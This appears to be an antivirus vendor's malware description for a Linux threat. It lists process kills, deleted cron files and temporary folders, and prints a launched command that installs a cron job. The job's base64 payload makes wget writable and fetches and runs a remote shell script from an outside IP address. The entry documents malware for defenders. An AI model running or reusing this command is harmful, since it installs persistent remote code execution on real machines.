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Linux.Packed.294

Added to the Dr.Web virus database: 2019-02-02

Virus description added:

Technical Information

Malicious functions:
Substitutes application name for:
  • dequ
Launches processes:
  • sh -c echo '* * * * * echo -n \"KHNsZWVwIDU7IGlmICEgcHMgLWF4IHwgZ3JlcCAtdiBncmVwIHwgZ3JlcCAiWyBdIiQ7IHRoZW4gY2hhdHRyIC1pYWUgL3Vzci9iaW4vd2dldDsgY2htb2QgNzc3NyAvdXNyL2Jpbi93Z2V0OyB3Z2V0IC1PIC0gaHR0cDovLzE4NS4xMC42OC4xMDAvd3Avdy5zaHxzaCA+L2Rldi9udWxsIDI+JjE7IGVsc2Uga2lsbGFsbCAtZiBweXRob247IGtpbGxhbGwgLWYgd2dldDsga2lsbGFsbCAtZiBjdXJsOyBmaSk=\" | base64 -d |sh > /dev/null 2>&1' | crontab -;
  • crontab -
Kills system processes:
  • sshd
Performs operations with the file system:
Deletes folders:
  • /tmp/.font-unix
  • /tmp/.ICE-unix
  • /tmp/.X11-unix
  • /tmp/.XIM-unix
  • /tmp/.Test-unix
Deletes files:
  • /etc/cron.hourly/.placeholder
  • /etc/cron.daily/passwd
  • /etc/cron.daily/aptitude
  • /etc/cron.daily/mlocate
  • /etc/cron.daily/logrotate
  • /etc/cron.daily/apt
  • /etc/cron.daily/bsdmainutils
  • /etc/cron.daily/.placeholder
  • /etc/cron.daily/dpkg
  • /etc/cron.daily/man-db
  • /etc/cron.daily/exim4-base
  • /etc/cron.weekly/.placeholder

Curing recommendations


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